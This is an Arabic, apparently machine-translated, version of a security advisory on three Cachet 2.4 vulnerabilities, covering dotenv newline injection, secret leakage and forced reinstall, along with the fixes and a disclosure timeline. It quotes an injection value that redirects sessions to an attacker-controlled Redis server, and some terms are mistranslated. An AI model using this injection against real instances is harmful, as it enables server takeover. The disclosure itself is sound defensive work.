كاشيت 2.4: تنفيذ الشفرة من خلال الحقن في تكوين Laravel

صفحات الحالة الآن خدمة هامة تقدمها جميع شركات Software-as-a-Service. لتعزيز تبنيها، ابتكرت الشركات الناشئة في السرعة الصفحات الحالة باعتبارها خدمة وأصبحت البدائل المفتوحة المصدر المستضافة نفسها متاحة. كاشت، الذي يشار إليه أحيانًا بـ CachetHQ، هو نظام صفحة حالة شائع الاستخدام مكتوب بلغة PHP ويتمتع بالعديد من سلالات المجتمع، مثل fiveai/Cachet

تهديد مثيلات كاشت مكافأة للمهاجمين، حيث تخزن السرويات لخدمات مختلفة مثل التخزين المؤقت، خوادم البريد الإلكتروني، إلخ. هذا الموطئ الأول في البنية التحتية ساعدهم على الانتقال إلى الشبكة الداخلية للشركة المتضررة وإجراء هجمات أخرى. في هذه المقالة، أقدم التحليل الفني لثلاثة ثغرات أمنية اكتشفتها فريقي وأنا في كاشت 2.4. يمكن أن تمكن المهاجمين من التسلل إلى الخادم. 

التأثير

تم التحقق من استغلال هذه الثغرات في آخر إصدار رسمي لكاشت في ذلك الوقت (2.3.18)، وكذلك في فرع التطوير (2.4). المهاجم الذي يطمح لاستغلال هذه الثغرات يحتاج إلى حساب مستخدم صالح بالأذونات الأساسية، وهو سيناريو يمكن تفعيله بشكل واقعي بواسطة:

  • استخدام تعبئة البيانات بسبب كمية كبيرة من الحسابات المتورطة كل عام. 
  • A compromised or malicious user. 
  • وجود ثغرة تفاقم المواقع عبر الخط. 
  • استغلال CVE-2021-39165، ثغرة تحقق SQL قبل التوثيق في كاشت تم إصلاحها في يناير 2021.

الإصابة 1: CVE-2021-39172

الإصابة الأولى (CVE-2021-39172) التي أصفها هي تعبئة الأسطر الجديدة والتي تحدث عندما يقوم المستخدمون بتحديث تكوين المثيل، مثل إعدادات البريد الإلكتروني. يسمح هذا بتعبئة مبادرات جديدة من قبل المهاجمين وتغيير سلوك الميزات الأساسية، مما يؤدي إلى تنفيذ رمز عشوائي.

الفيديو التالي يوضح استغلال هذه الإصابة. لأغراض التوضيح، تم إجراء عدة خطوات يدويًا، لكن يمكن تشغيلها تلقائيًا من قبل المهاجمين:

مصدر: Sonar YouTube

الإصابة 2: CVE-2021-39174

الإصابة الثانية (CVE-2021-39174) تتعلق أيضًا بهذه الميزة وتسمح للمهاجم بتسريب المعلومات السرية المخزنة في ملف التكوين، مثل كلمة مرور خادم البريد الإلكتروني (SMTP)، مفتاح تشفير التطبيق، إلخ.

الإصابة 3: CVE-2021-39173

أخيرًا، البقعة الأخيرة (CVE-2021-39173) أبسط بكثير وتسمح بالمرور عبر عملية الإعداد حتى لو كان المثيل مجهزًا بالفعل بشكل كامل. بهذه الطريقة، يمكن للمهاجمين خداع مثيل Cachet لاستخدام قاعدة بيانات عشوائية تحت سيطرتهم، مما يؤدي في النهاية إلى تنفيذ رمز عشوائي.

يتوفر التصحيحات لهذه الثلاث فجوات أمنية في الإصدار 2.5.1 من فوك FiveAI.

تفاصيل تقنية

في هذا القسم، أصف التفاصيل التقنية لكل فجوة أمنية والطريقة التي تم بها تخفيفها في أحدث إصدار من فوك المجتمع.

CVE-2021-39172: تنفيذ التعليمات عن بعد

يظهر لوحة التحكم في Cachet عدة لمحات للتكوين (حتى لمستخدمين غير المسؤولين) لتغيير اسم المثيل، وإعدادات خادم البريد، إلخ. تُحفظ الإعدادات الدائمة على مستوى التطبيق في قاعدة البيانات، والقيم الأخرى على مستوى الإطار مباشرة في ملف تكوين التطبيق. يستخدم إطار Laravel dotenv ملفات التكوين، وهي تنسيق مشابه لكيفية اعلام المتغيرات البيئية في سكربت طاولة تشغيل. تم تنفيذ دعمها في المكتبة الثالثة هنا.

عند تغيير إعدادات مزود البريد، يتم توليد كائن من فئة UpdateConfigCommand. تعتبر الأوامر Laravel، في سياق حافلة الأوامر، طريقة لإزالة المنطق الخاص بالتطبيق من المراسلين؛ سيتم تنفيذها بشكل متزامن عند استدعاء execute() على الكائن. هذا ما يحدث في [1]:

app/Http/Controllers/Dashboard/SettingsController.php:

PHP

 

<?php
public function postMail()
{   
     $config = Binput::get('config');   
     execute(new UpdateConfigCommand($config));            // [1]    
     return cachet_redirect('dashboard.settings.mail')        
          ->withInput(Binput::all())       
          ->withSuccess(trans('dashboard.notifications.awesome')); 
}

المعالج المرتبط UpdateConfigCommandHandler مسؤول عن إجراء تغييرات في ملف dotenv الحالي عن طريق استبدال المداخل القديمة بمداخل جديدة.

UpdateConfigCommandHandler يمكن تشغيله عن طريق الكود في مكانين مختلفين:

  1. SetupController@postStep3: الخطوة الأخيرة من عملية الإعداد. بمجرد تثبيت المثيل، لا يمكن الوصول إلى هذا المسار البرمجي بعد ذلك;
  2. SettingsController@postMail: عند تحديث مداخل dotenv المتعلقة بخوادم البريد.

سيقوم أولاً بتقييم الملف التكويني بالكامل لتعبئة البيئة المعالجة ([1])، وتحديد ما إذا كان التوجيه المراد تحديثه معرف بالفعل ([2])، ثم استبدال المدخل بالقيمة الجديدة ([3]):

app/Bus/Handlers/Commands/System/Config/UpdateConfigCommandHandler.php:

PHP

 

<?php
class UpdateConfigCommandHandler
{    
    // [...]    
    public function handle(UpdateConfigCommand $command)   
    {       
       foreach ($command->values as $setting => $value) {          
             $this->writeEnv($setting, $value);      
       }   
     }   
    // [...]   
    protected function writeEnv($key, $value)  
    {      
      $dir = app()->environmentPath();       
      $file = app()->environmentFile();       
      $path = "{$dir}/{$file}";        

      try {          
          (new Dotenv($dir, $file))->load();       // [1]              
          $envKey = strtoupper($key);          

          $envValue = env($envKey) ?: 'null';      // [2]           

         file_put_contents($path, str_replace(    // [3]              
              "{$envKey}={$envValue}",                        
              "{$envKey}={$value}",             
              file_get_contents($path)                   
         ));       
      } catch (InvalidPathException $e) {           
         throw $e;      
     }   
  } 
}

لا يتم إجراء التحقق من البيانات الواردة: طالما أن مدخل التكوين موجود بالفعل، سيتم استبداله بقيمة من المعلمة. إذا قدم المهاجم قيمة تحتوي على سطور جديدة، فإنها ستخلق مداخل جديدة في ملف dotenv وقد تغير وظائف الإطار على المستوى.

ملاحظة: سيتم استخدام التعريف الأول لمتغير في ملف dotenv فقط؛ ستتم تجاهل التعريفات اللاحقة. 

في مشاريع Laravel، هذا الأسلوب البسيط يكفي لتحقيق تنفيذ قانوني للكود. ملف التكوين dotenv الأولي سيبدو على الأرجح هكذا في معظم المثيلات:

.env:

Shell

 

APP_ENV=production
[...]
DEBUGBAR_ENABLED=false
DB_DRIVER=sqlite
[...]
DB_PREFIX=
CACHE_DRIVER=file
SESSION_DRIVER=file
QUEUE_DRIVER=array
MAIL_DRIVER=smtp
MAIL_HOST=foo
[...]
REDIS_HOST=null
REDIS_DATABASE=null
REDIS_PORT=null

يمكن للمهاجمين استبدال مفتاح CACHE_DRIVER وتسجيل خادم Redis تحت سيطرتهم كخلفية جديدة للجلسات:

Shell

 

file\nREDIS_HOST=some.remote.server\nREDIS_DATABASE=0\nREDIS_PORT=6379\nSESSION_DRIVER=redis

بعد إرسال طلب يضع CACHE_DRIVER بهذه القيمة، سيبدو ملف dotenv هكذا:

.env:

Shell

 

APP_ENV=production 
APP_DEBUG=false 
APP_URL=http://cachet.internal 
APP_TIMEZONE=UTC 
// [...] 
CACHE_DRIVER=file 
REDIS_HOST=some.remote.server 
REDIS_DATABASE=0 
REDIS_PORT=6379 
SESSION_DRIVER=redis 
SESSION_DRIVER=file 
QUEUE_DRIVER=null
// [...]

لأن جلسات Laravel تتم طباعتها باستخدام التنسيق الأصلي لـ PHP، يتم تفسيرها باستخدام الدالة unserialize(). هذه نقطة هشة معروفة يمكن الاستفادة منها لتنفيذ التعليمات البرمجية التعسفية باستخدام تسلسل من الكائنات المصقولة على نحو خاص، مفهوم يسمى “سلاسل pop”. يمكن للأداة PHPGGC إنشاء مثل هذه السلاسل لمشاريع Laravel. 

قد تكون هناك طرق أخرى للاستفادة من تنفيذ الأوامر من الحقيقة التي تعتبر حقوق السطر الجديد في ملف dotenv، لكننا لم نسع لإجراء المزيد من الأبحاث في هذا الاتجاه. يبدو أن طاقمي وأنا مهتمون بمعرفة ما إذا كنت تعرف تقنيات أخرى على الرغم من ذلك!

CVE-2021-39174: تسرب التهجير

كما وصفت في القسم السابق، يمكن للمرء التحكم مباشرة في القراءة والكتابة للقيم المخزنة في ملف dotenv. الكتابة إلى هذا الملف يؤدي في النهاية إلى تنفيذ التعليمات البرمجية التعسفية، لكن هل يمكن الاستفادة من حقيقة أن قيم هذا الملف تظهر في الواجهة؟

وصفت وثائق vlucas/phpdotenv أنها تدعم تعيين المتغيرات المتداخلة: عند إعلان متغير، يمكنك إشارة إلى متغير معلن سابقًا باستخدام بناء الجملة ${NAME}.

هذه الميزة مريحة: عن طريق الإشارة إلى متغير آخر في إدخال ملف dotenv التكوين وعرض هذا الإدخال في الواجهة، يكشف قيمة متغير آخر.

لقد كان موثقًا بالفعل على نطاق واسع أن تسريب APP_KEY يؤدي إلى تنفيذ الكود إذا تم تعيين سائق الجلسة إلى الكوكي، ويمكن استخدام هذا العنصر الأولي أيضًا لتسريب DB_PASSWORD و MAIL_PASSWORD لإجراء هجمات إضافية.

CVE-2021-39173: إعادة التثبيت بالقوة

لا يمكن الوصول إلى صفحة الإعداد إذا كانت المثالية قد تم تثبيتها بالفعل، كما هو مُنفذ في وسيطة. SetupAlreadyCompleted:

app/Http/Middleware/SetupAlreadyCompleted.php:

PHP

 

settings->get('app_name')) {               
                  return cachet_redirect('dashboard');          
             }      
         } catch (ReadException $e) {          
            // لم يتم الإعداد حتى الآن!      
         }        
         
         return $next($request);   
  } 
}

الشيك يعتمد فقط على قيمة الإعداد: إذا لم يتم تعريفه أو كان فارغًا، ستعتبر الوسيطة أن المثالية قد تم تثبيتها.

في حالة أنك تتساءل عما إذا كان هناك أي شيء آخر يمكن أن يقيم إلى false، إليك مقدمة سريعة عن نظام كتابة الأنواع في PHP خلال المقارنات حتى PHP 8. يمكن إجراء المقارنة باستخدام فحص التكافؤ (==) أو فحص الهوية (===). يعني فحوص التكافؤ أن نوع العملاء لا يُأخذ في الاعتبار، ويمكن تحويل السلاسل إلى أرقام مسبقًا. تم تسمية هذا السلوك “التلاعب بالأنواع” وقد تم استغلاله في نقوص مختلفة في الحياة الواقعية (CVE-2017-1001000، CVE-2019-10231). في حالة المقارنة أعلاه، أي قيمة مساوية لسلسلة فارغة أو “0” ستقيم false وتمنح الوصول إلى صفحات الإعداد.

لا يتم التحقق من قيمة app_name خلال تحديث الإعدادات في SettingsController@postSettings، في [1]:

app/Http/Controllers/Dashboard/SettingsController.php:

PHP

 

<?php
class SettingsController extends Controller
{  
   // [...]   
   public function postSettings()  
   {      
       $setting = app(Repository::class);      
       // [...]      
       $parameters = Binput::all();       
      // [...]      
      $excludedParams = [           
        '_token',          
        'app_banner',          
        'remove_banner',          
        'header',           
        'footer',           
        'stylesheet',      
     ];       
     try {          
         foreach (Binput::except($excludedParams) as $settingName =>
 $settingValue) {              
                if ($settingName === 'app_analytics_pi_url') {                      
                        $settingValue = rtrim($settingValue, '/');             
                }              
                $setting->set($settingName, $settingValue); // <-- [1]
// [...]

وبالتالي، يمكن للمستخدم المصادق تحديثها إلى قيمة تقيم إلى false ثم الوصول إلى /setup مرة أخرى لإعادة تثبيت المثيل بحساب مسؤول جديد (إرتفاع في الامتيازات) أو استغلال اكتشافنا الأول والحصول على تنفيذ الكود (تذكر، UpdateConfigCommandHandler يمكن استغلاله من هذا المسار البرمجي أيضًا).

التصحيح

تم تعزيز التحقق من قيم الواردة في UpdateConfigCommandHandler لمعالجة نقص تضمين سطور جديدة (CVE-2021-39172)، مرفوضًا أي تعديل يحتوي على أحرف السطر الجديد.

يكتشف الخلل في تسريب الإعدادات (CVE-2021-39174) صعوبة أكبر في التصحيح، حيث لا يمكن استيراد أحدث إصدار من مكتبة dotenv بسبب وجود الحلول التابعة. بدلاً من ذلك، تم نقل الكود المعني للسماح لمعالج الأوامر بتحديد ما إذا كان قيمة تحتوي على متغير متعقد. 

أخيرًا، لا يمكن فرض إعادة تثبيت المثيلات الحالية (CVE-2021-39173) بفضل الشيكات المحسنة في الوسيطة المتضررة.

جدول زمني

DATE ACTION
2021-03-26 Issues reported by email to the official security disclosure address of the upstream project.
2021-06-25 We send the security issues and patches to the community-supported fork (fiveai/Cachet).
2021-08-27 Release 2.5.1 of the FiveAI fork is published, with fixes for CVE-2021-39172, CVE-2021-39173, and CVE-2021-39174.

ملخص

في هذه المقالة، قمت بتحليل ثلاثة من الثغرات في Cachet وأظهرت القدرة على السيطرة على المثيلات باستخدام ملفات تكوين Laravel فقط بإذن من المستخدم الأساسي. كما وصفت التعديلات التي طبقها المصورون وكيف تمنع الهجمات التي قدمتها. 

أخيرًا، نود أن نشكر فريقنا وأنا المصورين في فرع FiveAI من Cachet لاعترافهم بنصيحتنا وإصلاح هذه الثغرات بشكل موجز ومهني.

Source:
https://dzone.com/articles/cachet-two-four-code-execution-via-laravel-configuration-injection